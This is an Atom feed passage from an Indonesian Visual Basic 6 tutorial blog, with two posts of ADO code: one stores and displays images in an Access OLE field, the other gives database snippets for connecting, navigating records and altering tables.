<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-540381649944697167</id><updated>2012-02-16T19:38:51.801+07:00</updated><category term='FileFolderFunction'/><category term='HACK'/><category term='Software'/><category term='Bisnis Online'/><category term='Tips And Trick'/><category term='Database'/><category term='Virus'/><category term='Serpihan Code Database'/><category term='Basic'/><title type='text'>Belajar Visual Basic</title><subtitle type='html'>Bersenang-senang Membuat Aplikasi Dilingkungan Windows Dengan Cepat</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://vbasiccode.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://vbasiccode.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_48czvH0DaKc/TByCvP2ROqI/AAAAAAAAAWE/YsxSI3OAygY/S220/FF8_033.JPG'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>27</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-8690834069228427743</id><published>2011-10-31T14:00:00.002+07:00</published><updated>2011-10-31T14:08:46.255+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Database'/><category scheme='http://www.blogger.com/atom/ns#' term='Serpihan Code Database'/><title type='text'>Memunculkan Field Gambar(OLE Object) Di Database Acces</title><content type='html'>Sedikiit berbagi lagi.. Mungkin Teman2 ada kesulitan mengenai  memunculkan file Image Database Acces ke VB. Saya menggunakan dua Cara  untuk mewujudkan hal tersebut:&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;div&gt;&lt;/div&gt;&lt;ol style="text-align: justify;"&gt;&lt;li&gt;Me-Load Gambar dalam Kontrol Image dari String Alamat Gambar  yang telah ada di Field Database, jadi Field dalam tabel bertype Text.  Keuntungannya Database berukuran lebih Kecil dibanding cara kedua.&lt;/li&gt;&lt;li&gt;Meload Gambar Dari Field yang bertype OLE Object kedalam kontrol  Image. Keuntungannya semua gambar dalam satu database sehingga dapat  sebagai pustaka gambar.&lt;/li&gt;&lt;/ol&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://fbcdn-photos-a.akamaihd.net/hphotos-ak-snc6/247357_232504120096268_100000100447892_1083571_7222125_a.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://fbcdn-photos-a.akamaihd.net/hphotos-ak-snc6/247357_232504120096268_100000100447892_1083571_7222125_a.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;Kali ini kita akan menggunakan cara yang kedua, Buat Database Acces  bernama "BioData.mdb" terdiri atas satu Tabel yaitu "TblPhotoSaja" dan  di dalamnya buat field Type Ole Object beri nama "Image",serta satu  field lagi Bertype AutoNumber berinama "Id", Langsung saja ^_^ ini  saourcenya..&lt;a name='more'&gt;&lt;/a&gt;&lt;span style="font-size: small;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;Copy Paste Code Dibawah Ini Dalam form&lt;/b&gt;&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 498px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;Option Explicit&lt;br /&gt;Private Declare Function GetOpenFileName Lib "comdlg32.dll" Alias "GetOpenFileNameA" (pOpenfilename As OPENFILENAME) As Long&lt;br /&gt;Private Declare Function lOpen Lib "kernel32" Alias "_lopen" (ByVal lpPathName As String, ByVal iReadWrite As Long) As Long&lt;br /&gt;Private Declare Function lclose Lib "kernel32" Alias "_lclose" (ByVal hFile As Long) As Long&lt;br /&gt;Private Declare Function GetFileSize Lib "kernel32" (ByVal hFile As Long, lpFileSizeHigh As Long) As Long&lt;br /&gt;Private lpFSHigh As Long&lt;br /&gt;Private strfilepath As String&lt;br /&gt;Private Buffer As String&lt;br /&gt;Private Const OF_READ = &amp;amp;H0&amp;amp;&lt;br /&gt;Private db As ADODB.Connection&lt;br /&gt;Private WithEvents adoPrimaryRSImageName As Recordset&lt;br /&gt;&lt;br /&gt;Private Type OPENFILENAME&lt;br /&gt;    lStructSize As Long&lt;br /&gt;    hwndOwner As Long&lt;br /&gt;    hInstance As Long&lt;br /&gt;    lpstrFilter As String&lt;br /&gt;    lpstrCustomFilter As String&lt;br /&gt;    nMaxCustFilter As Long&lt;br /&gt;    nFilterIndex As Long&lt;br /&gt;    lpstrFile As String&lt;br /&gt;    nMaxFile As Long&lt;br /&gt;    lpstrFileTitle As String&lt;br /&gt;    nMaxFileTitle As Long&lt;br /&gt;    lpstrInitialDir As String&lt;br /&gt;    lpstrTitle As String&lt;br /&gt;    Flags As Long&lt;br /&gt;    nFileOffset As Integer&lt;br /&gt;    nFileExtension As Integer&lt;br /&gt;    lpstrDefExt As String&lt;br /&gt;    lCustData As Long&lt;br /&gt;    lpfnHook As Long&lt;br /&gt;    lpTemplateName As String&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Private Function GetFile(ByRef frm As Form) As String&lt;br /&gt;    Dim OFName As OPENFILENAME&lt;br /&gt;    OFName.lStructSize = Len(OFName)&lt;br /&gt;    'Set the parent window&lt;br /&gt;    OFName.hwndOwner = frm.hWnd&lt;br /&gt;    'Set the application's instance&lt;br /&gt;    OFName.hInstance = App.hInstance&lt;br /&gt;    'Select a filter&lt;br /&gt;    OFName.lpstrFilter = "Bitmap (*.bmp)" + Chr$(0) + _&lt;br /&gt;      "*.bmp" + Chr$(0) + _&lt;br /&gt;      "Jpg (*.jpg)" + Chr$(0) + _&lt;br /&gt;      "*.jpg" + Chr$(0) + _&lt;br /&gt;      "Icons (*.ico)" + Chr$(0) + _&lt;br /&gt;      "*.ico" + Chr$(0) + _&lt;br /&gt;      "Windows Metafiles (*.wmf)" + Chr$(0) + _&lt;br /&gt;      "*.wmf" + Chr$(0) + _&lt;br /&gt;      "Jpeg (*.jpeg)" + Chr$(0) + _&lt;br /&gt;      "*.jpeg" + Chr$(0) + _&lt;br /&gt;      "Gif (*.gif)" + Chr$(0) + _&lt;br /&gt;      "*.gif" + Chr$(0) + _&lt;br /&gt;      "All Files (*.*)" + Chr$(0) + _&lt;br /&gt;      "*.*" + Chr$(0)&lt;br /&gt;    'create a buffer for the file&lt;br /&gt;    OFName.lpstrFile = Space$(254)&lt;br /&gt;    'set the maximum length of a returned file&lt;br /&gt;    OFName.nMaxFile = 255&lt;br /&gt;    'Create a buffer for the file title&lt;br /&gt;    OFName.lpstrFileTitle = Space$(254)&lt;br /&gt;    'Set the maximum length of a returned file title&lt;br /&gt;    OFName.nMaxFileTitle = 255&lt;br /&gt;    'Set the initial directory&lt;br /&gt;    'OFName.lpstrInitialDir = "C:\" 'Commented so that the box opens on the last directory browsed&lt;br /&gt;    'Set the title&lt;br /&gt;    OFName.lpstrTitle = "Open Dialog Box"&lt;br /&gt;    'No flags&lt;br /&gt;    OFName.Flags = 0&lt;br /&gt;    'Show the 'Open File'-dialog&lt;br /&gt;    If GetOpenFileName(OFName) Then&lt;br /&gt;      GetFile = Trim$(OFName.lpstrFile)&lt;br /&gt;    Else&lt;br /&gt;      GetFile = ""&lt;br /&gt;    End If&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;Private Sub SaveBitmap(ByRef adoRS As ADODB.Recordset, ByVal strField As String, ByVal SourceFile As String)&lt;br /&gt;    'This sub copies the actual file into a byte array.&lt;br /&gt;    'This byte array is then used as the value for&lt;br /&gt;    'the field having an image data type&lt;br /&gt;    Dim Arr() As Byte&lt;br /&gt;    Dim Pointer As Long&lt;br /&gt;    Dim SizeOfThefile As Long&lt;br /&gt;    Pointer = lOpen(SourceFile, OF_READ)&lt;br /&gt;    'size of the file&lt;br /&gt;    SizeOfThefile = GetFileSize(Pointer, lpFSHigh)&lt;br /&gt;    lclose Pointer&lt;br /&gt;    'Resize the array, then fill it with&lt;br /&gt;    'the entire contents of the field&lt;br /&gt;    ReDim Arr(SizeOfThefile)&lt;br /&gt;    Open SourceFile For Binary Access Read As #1&lt;br /&gt;    Get #1, , Arr&lt;br /&gt;    Close #1&lt;br /&gt;    adoRS(strField).Value = Arr&lt;br /&gt;    Exit Sub&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub cmdFirst_Click()&lt;br /&gt;If adoPrimaryRSImageName.BOF And adoPrimaryRSImageName.RecordCount = 0 Then&lt;br /&gt;   MsgBox "Anda Tidak Memiliki Data Record, Klik Tombol " &amp;amp; """" &amp;amp; "Tambah Record" &amp;amp; """" &amp;amp; " untuk Membuat Record."&lt;br /&gt;Else&lt;br /&gt;  adoPrimaryRSImageName.MoveFirst&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub cmdLast_Click()&lt;br /&gt;If adoPrimaryRSImageName.EOF And adoPrimaryRSImageName.RecordCount = 0 Then&lt;br /&gt;   MsgBox "Anda Tidak Memiliki Data Record."&lt;br /&gt;Else&lt;br /&gt;    adoPrimaryRSImageName.MoveLast&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub cmdNext_Click()&lt;br /&gt;If adoPrimaryRSImageName.EOF And adoPrimaryRSImageName.RecordCount = 0 Then&lt;br /&gt;   MsgBox "Anda Tidak Memiliki Data Record."&lt;br /&gt;End If&lt;br /&gt;If Not adoPrimaryRSImageName.EOF Then adoPrimaryRSImageName.MoveNext&lt;br /&gt;If adoPrimaryRSImageName.EOF And Not adoPrimaryRSImageName.RecordCount = 0 Then&lt;br /&gt;    Beep&lt;br /&gt;    adoPrimaryRSImageName.MoveLast&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub cmdPrevious_Click()&lt;br /&gt;If adoPrimaryRSImageName.BOF And adoPrimaryRSImageName.RecordCount = 0 Then&lt;br /&gt;   MsgBox "Anda Tidak Memiliki Data Record"&lt;br /&gt;End If&lt;br /&gt;If Not adoPrimaryRSImageName.BOF Then adoPrimaryRSImageName.MovePrevious&lt;br /&gt;If adoPrimaryRSImageName.BOF And Not adoPrimaryRSImageName.RecordCount = 0 Then&lt;br /&gt;    Beep&lt;br /&gt;    adoPrimaryRSImageName.MoveFirst&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub CariSimpanImage_Click()&lt;br /&gt;    strfilepath = GetFile(Me)&lt;br /&gt;    If strfilepath &amp;lt;&amp;gt; "" Then&lt;br /&gt;        Image1.Picture = LoadPicture(strfilepath)&lt;br /&gt;        SaveBitmap adoPrimaryRSImageName, "Image", strfilepath&lt;br /&gt;    End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Sub Koneksi()&lt;br /&gt;    Set db = New ADODB.Connection&lt;br /&gt;    db.CursorLocation = adUseClient&lt;br /&gt;    db.Open "PROVIDER=Microsoft.Jet.OLEDB.4.0;" &amp;amp; _&lt;br /&gt;      "Data Source=" &amp;amp; App.Path &amp;amp; "\BioData.mdb"&lt;br /&gt;    Set adoPrimaryRSImageName = New ADODB.Recordset&lt;br /&gt;    adoPrimaryRSImageName.Open "TblPhotoSaja", db, adOpenDynamic, adLockOptimistic&lt;br /&gt;    Set Image1.DataSource = adoPrimaryRSImageName&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;    Koneksi&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Unload(Cancel As Integer)&lt;br /&gt;    Set db = Nothing&lt;br /&gt;    Set adoPrimaryRSImageName = Nothing&lt;br /&gt;    Unload Me&lt;br /&gt;End Sub&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Semoga bermanfaat.. ^_^&lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/540381649944697167-8690834069228427743?l=vbasiccode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbasiccode.blogspot.com/feeds/8690834069228427743/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://vbasiccode.blogspot.com/2011/10/sedikiit-berbagi-lagi.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/8690834069228427743'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/8690834069228427743'/><link rel='alternate' type='text/html' href='http://vbasiccode.blogspot.com/2011/10/sedikiit-berbagi-lagi.html' title='Memunculkan Field Gambar(OLE Object) Di Database Acces'/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_48czvH0DaKc/TByCvP2ROqI/AAAAAAAAAWE/YsxSI3OAygY/S220/FF8_033.JPG'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-2767966886673874853</id><published>2011-05-22T01:25:00.030+07:00</published><updated>2011-05-24T16:18:53.090+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Serpihan Code Database'/><title type='text'>Serpihan Kode Database Access</title><content type='html'>Pertama yang perlu disapkan adalah :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Nama Database : DBPembelajaran.mdb format Microsoft Office Access 2000&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Nama Tabel : SiswaLogin&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Nama Field dalam Tabel SiswaLogin : Nama Field Nama_Siswa TypeField Text dan field kedua &amp;nbsp; Nama Field NIS TypeField Text&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Klik Menu Project Pilih References.. : Microsoft ActiveX Data Object 2.0 Library atau versi yang lebih tinggi.&lt;/li&gt;&lt;/ul&gt;Dibawah ini serpihan kode yang mungkin bermanfaat, silahkan...&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;span style="font-size: small;"&gt;1. a. Koneksi Dengan Database Yang Tidak Berpassword&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 200px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;Option Explicit&lt;br /&gt;Dim db As ADODB.Connection&lt;br /&gt;Dim adoPrimaryRSLoginSiswa As ADODB.Recordset&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;On Error GoTo err&lt;br /&gt;        Set db = New ADODB.Connection&lt;br /&gt;        db.CursorLocation = adUseClient&lt;br /&gt;        db.Open "PROVIDER=Microsoft.Jet.OLEDB.4.0;" &amp;amp; _&lt;br /&gt;          "Data Source=" &amp;amp; App.Path &amp;amp; "\DBPembelajaran.mdb;"&lt;br /&gt;err:&lt;br /&gt;        If db.State = 1 Then&lt;br /&gt;            MsgBox "Terkoneksi dengan database"&lt;br /&gt;        ElseIf db.State = 0 Then&lt;br /&gt;            MsgBox "Tidak Terkoneksi dengan database.", vbInformation, "Error"&lt;br /&gt;        End If&lt;br /&gt;End Sub&lt;br /&gt; &lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;1. b. Koneksi Dengan Database Berpassword&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 200px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;Private Sub Form_Load()&lt;br /&gt;On Error GoTo ERR&lt;br /&gt;        Dim DBBerPassword&lt;br /&gt;        Set DBBerPassword = New ADODB.Connection&lt;br /&gt;        DBBerPassword.CursorLocation = adUseClient&lt;br /&gt;        DBBerPassword.Open "PROVIDER=Microsoft.Jet.OLEDB.4.0;Data Source=" &amp;amp; App.Path &amp;amp; "\DBPembelajaran - Copy.mdb" &amp;amp; ";Persist Security Info=False;Mode=12;Jet OLEDB:Database Password=TulisPasswordnya"&lt;br /&gt;ERR:&lt;br /&gt;        If DBBerPassword.State = 1 Then&lt;br /&gt;            MsgBox "Terkoneksi dengan database"&lt;br /&gt;        ElseIf DBBerPassword.State = 0 Then&lt;br /&gt;            MsgBox "Tidak Terkoneksi dengan database.", vbInformation, "Error"&lt;br /&gt;        End If&lt;br /&gt;End Sub&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;2. Buka Record&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 230px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;Private Sub Command1_Click()&lt;br /&gt;On Error GoTo err&lt;br /&gt;        Set adoPrimaryRSLoginSiswa = New ADODB.Recordset&lt;br /&gt;        adoPrimaryRSLoginSiswa.Open "TblSiswaLogin", db, adOpenStatic, adLockOptimistic&lt;br /&gt;err:&lt;br /&gt;        If adoPrimaryRSLoginSiswa.State = 1 Then&lt;br /&gt;            MsgBox "Terkoneksi dengan Tabel"&lt;br /&gt;        ElseIf adoPrimaryRSLoginSiswa.State = 0 Then&lt;br /&gt;            MsgBox "Tabel tidak ditemukan, cek kembali tabel yang ada dalam database.", vbInformation, "Error"&lt;br /&gt;        End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;3. Cek Isi Field&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 150px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;Private Sub Command2_Click()&lt;br /&gt;    adoPrimaryRSLoginSiswa.MoveFirst&lt;br /&gt;    MsgBox "NAMA FIELD : " &amp;amp; adoPrimaryRSLoginSiswa.Fields(0).Name &amp;amp; _&lt;br /&gt;    vbCrLf &amp;amp; "ISI FIELD RECORD PERTAMA : " &amp;amp; adoPrimaryRSLoginSiswa.Fields(0).Value, vbInformation&lt;br /&gt;End Sub&lt;br /&gt;&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;4. Menghubungkan Isi Field Ke Control&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 150px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;Private Sub Command3_Click()&lt;br /&gt;    Set Me.Text1.DataSource = adoPrimaryRSLoginSiswa&lt;br /&gt;    Set Me.Text2.DataSource = adoPrimaryRSLoginSiswa&lt;br /&gt;    &lt;br /&gt;    Me.Text1.DataField = "NAMA_SISWA"&lt;br /&gt;    Me.Text2.DataField = "NIS"&lt;br /&gt;    &lt;br /&gt;End Sub&lt;br /&gt;&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;5. Mengecek Field Kosong (IsNull)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 250px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;Private Sub Command4_Click()&lt;br /&gt;    &lt;span style="color: yellow;"&gt;'DI PROPERTY Text3 MultiLine pilih True&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: yellow;"&gt;'DI PROPERTY Text3 ScrollBars pilih 3&lt;/span&gt;&lt;br /&gt;    Text3.Text = "MENGECEK FIELD NIS KOSONG"&lt;br /&gt;    adoPrimaryRSLoginSiswa.MoveFirst&lt;br /&gt;    While Not adoPrimaryRSLoginSiswa.EOF&lt;br /&gt;    If IsNull(adoPrimaryRSLoginSiswa.Fields("NIS")) = True Then&lt;br /&gt;        Text3.Text = Text3.Text &amp;amp; vbCrLf &amp;amp; "NO : " &amp;amp; adoPrimaryRSLoginSiswa.AbsolutePosition &amp;amp; ". " &amp;amp; adoPrimaryRSLoginSiswa.Fields("NAMA_SISWA").Value &amp;amp; " KOSONG"&lt;br /&gt;    ElseIf IsNull(adoPrimaryRSLoginSiswa.Fields("NIS")) = False Then&lt;br /&gt;        Text3.Text = Text3.Text &amp;amp; vbCrLf &amp;amp; "NO : " &amp;amp; adoPrimaryRSLoginSiswa.AbsolutePosition &amp;amp; " TIDAK KOSONG "&lt;br /&gt;    End If&lt;br /&gt;        adoPrimaryRSLoginSiswa.MoveNext&lt;br /&gt;    Wend&lt;br /&gt;End Sub&lt;br /&gt;&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;6. Navigasi&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 600px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;Private Sub Command5_Click()&lt;br /&gt;    If adoPrimaryRSLoginSiswa.AbsolutePosition = 1 Or adoPrimaryRSLoginSiswa.RecordCount = 0 Then&lt;br /&gt;        Beep&lt;br /&gt;    Else&lt;br /&gt;        adoPrimaryRSLoginSiswa.MoveFirst &lt;span style="color: yellow;"&gt;'Ke record Pertama&lt;/span&gt;&lt;br /&gt;    End If&lt;br /&gt;    Me.Label2.Caption = "NO. " &amp;amp; adoPrimaryRSLoginSiswa.AbsolutePosition&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Command6_Click()&lt;br /&gt;    If adoPrimaryRSLoginSiswa.AbsolutePosition = 1 Or adoPrimaryRSLoginSiswa.RecordCount = 0 Then&lt;br /&gt;        Beep&lt;br /&gt;    Else&lt;br /&gt;        adoPrimaryRSLoginSiswa.MovePrevious &lt;span style="color: yellow;"&gt;"Ke record Sebelumnya&lt;/span&gt;    End If&lt;br /&gt;    Me.Label2.Caption = "NO. " &amp;amp; adoPrimaryRSLoginSiswa.AbsolutePosition&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Command7_Click()&lt;br /&gt;    If adoPrimaryRSLoginSiswa.AbsolutePosition = adoPrimaryRSLoginSiswa.RecordCount Or adoPrimaryRSLoginSiswa.RecordCount = 0 Then&lt;br /&gt;        Beep&lt;br /&gt;    Else&lt;br /&gt;        adoPrimaryRSLoginSiswa.MoveNext &lt;span style="color: yellow;"&gt;'Ke record Selanjutnya&lt;/span&gt;    End If&lt;br /&gt;    Me.Label2.Caption = "NO. " &amp;amp; adoPrimaryRSLoginSiswa.AbsolutePosition&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Command8_Click()&lt;br /&gt;    If adoPrimaryRSLoginSiswa.AbsolutePosition = adoPrimaryRSLoginSiswa.RecordCount Or adoPrimaryRSLoginSiswa.RecordCount = 0 Then&lt;br /&gt;        Beep&lt;br /&gt;    Else&lt;br /&gt;        adoPrimaryRSLoginSiswa.MoveLast &lt;span style="color: yellow;"&gt;'Ke record Terakhir&lt;/span&gt;    End If&lt;br /&gt;    Me.Label2.Caption = "NO. " &amp;amp; adoPrimaryRSLoginSiswa.AbsolutePosition&lt;br /&gt;End Sub&lt;br /&gt;&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;6. Mendapatkan Tabel Dalam database&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 150px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;Private Sub Command9_Click()&lt;br /&gt;Dim NamaTabel As ADODB.Recordset&lt;br /&gt;Set NamaTabel = db.OpenSchema(adSchemaTables)&lt;br /&gt;    While Not NamaTabel.EOF&lt;br /&gt;        If NamaTabel!TABLE_TYPE = "TABLE" Then Text4.Text = Text4.Text &amp;amp; vbCrLf &amp;amp; NamaTabel!TABLE_NAME&lt;br /&gt;        NamaTabel.MoveNext&lt;br /&gt;    Wend&lt;br /&gt;End Sub&lt;br /&gt;&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;7. Mendapatkan Field Dalam Tabel&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 150px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;Private Sub Command10_Click()&lt;br /&gt;Dim Column As ADODB.Field&lt;br /&gt;If adoPrimaryRSLoginSiswa.State = adStateOpen Then&lt;br /&gt;    For Each Column In adoPrimaryRSLoginSiswa.Fields&lt;br /&gt;        Text5.Text = Text5.Text &amp;amp; vbCrLf &amp;amp; Column.Name&lt;br /&gt;    Next&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;8. Membuat Tabel - Create Table&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 150px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;Private Sub Command11_Click()&lt;br /&gt;    Dim Cmd As New ADODB.Command&lt;br /&gt;    Cmd.ActiveConnection = db&lt;br /&gt;    Cmd.CommandText = "create table TabelBaru (NAMA_SISWA varchar(20), KELAS varchar(5), TENTANG_SISWA LongChar, Foto LongBinary)"&lt;br /&gt;    Cmd.Execute&lt;br /&gt;End Sub&lt;br /&gt;&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;9. Menambahkan Field Di Tabel Yang Sudah Ada - Add Field In Exists Table&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 500px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;Private Sub Command12_Click()&lt;br /&gt;&lt;span style="color: yellow;"&gt;'Tambahkan references Microsoft ADO Ext. 2.1 for DDL and Security atau versi lebih tinggi&lt;/span&gt;&lt;br /&gt;    Dim Xconx As ADODB.Connection&lt;br /&gt;    Dim Xcmd As ADODB.Command&lt;br /&gt;    Dim Xrs As ADODB.Recordset&lt;br /&gt;    Dim m_MDBdatabase As String&lt;br /&gt;    Dim m_MDBtable As String&lt;br /&gt;&lt;br /&gt;&lt;span style="color: yellow;"&gt;'Tambahkan columns di tabel yang sudah ada&lt;/span&gt;&lt;br /&gt;    Dim ADOXcat As ADOX.Catalog&lt;br /&gt;    Dim MStbl As ADOX.table&lt;br /&gt;    Dim MScol As ADOX.Column&lt;br /&gt;    &lt;br /&gt;    m_MDBdatabase = App.Path &amp;amp; "\DBPembelajaran.mdb"&lt;br /&gt;    m_MDBtable = "TblSiswaLogin"&lt;br /&gt;&lt;br /&gt;&lt;span style="color: yellow;"&gt;'Membuat koneksi&lt;/span&gt;&lt;br /&gt;    Set Xconx = New ADODB.Connection&lt;br /&gt;    Set Xcmd = New ADODB.Command&lt;br /&gt;    Set Xrs = New ADODB.Recordset&lt;br /&gt;    Set Xconx = CreateObject("ADODB.Connection")&lt;br /&gt;    Xconx.Open "Provider=Microsoft.Jet.OLEDB.4.0;" &amp;amp; _&lt;br /&gt;    "Persist Security Info=False;" &amp;amp; _&lt;br /&gt;    "Data Source=" &amp;amp; m_MDBdatabase&lt;br /&gt;    Set Xrs = CreateObject("ADODB.Recordset")&lt;br /&gt;    Xrs.CursorLocation = adUseServer&lt;br /&gt;&lt;br /&gt;&lt;span style="color: yellow;"&gt;'Mengirimkan MDB dan table ke catalog&lt;/span&gt;&lt;br /&gt;    Set ADOXcat = New ADOX.Catalog&lt;br /&gt;    ADOXcat.ActiveConnection = _&lt;br /&gt;    "Provider=Microsoft.Jet.OLEDB.4.0;" &amp;amp; _&lt;br /&gt;    "Data Source=" &amp;amp; m_MDBdatabase&lt;br /&gt;    Set MStbl = ADOXcat.Tables(m_MDBtable)&lt;br /&gt;&lt;br /&gt;&lt;span style="color: yellow;"&gt;'Menambahkan columns/Field ke tabel yang ada&lt;/span&gt;&lt;br /&gt;    MStbl.Columns.Append "NILAI", adDouble&lt;br /&gt;    MStbl.Columns.Append "KETERANGAN", adVarWChar, 255&lt;br /&gt;    MStbl.Columns.Append "TANGGAL_LAHIR", adDate&lt;br /&gt;    &lt;br /&gt;&lt;span style="color: 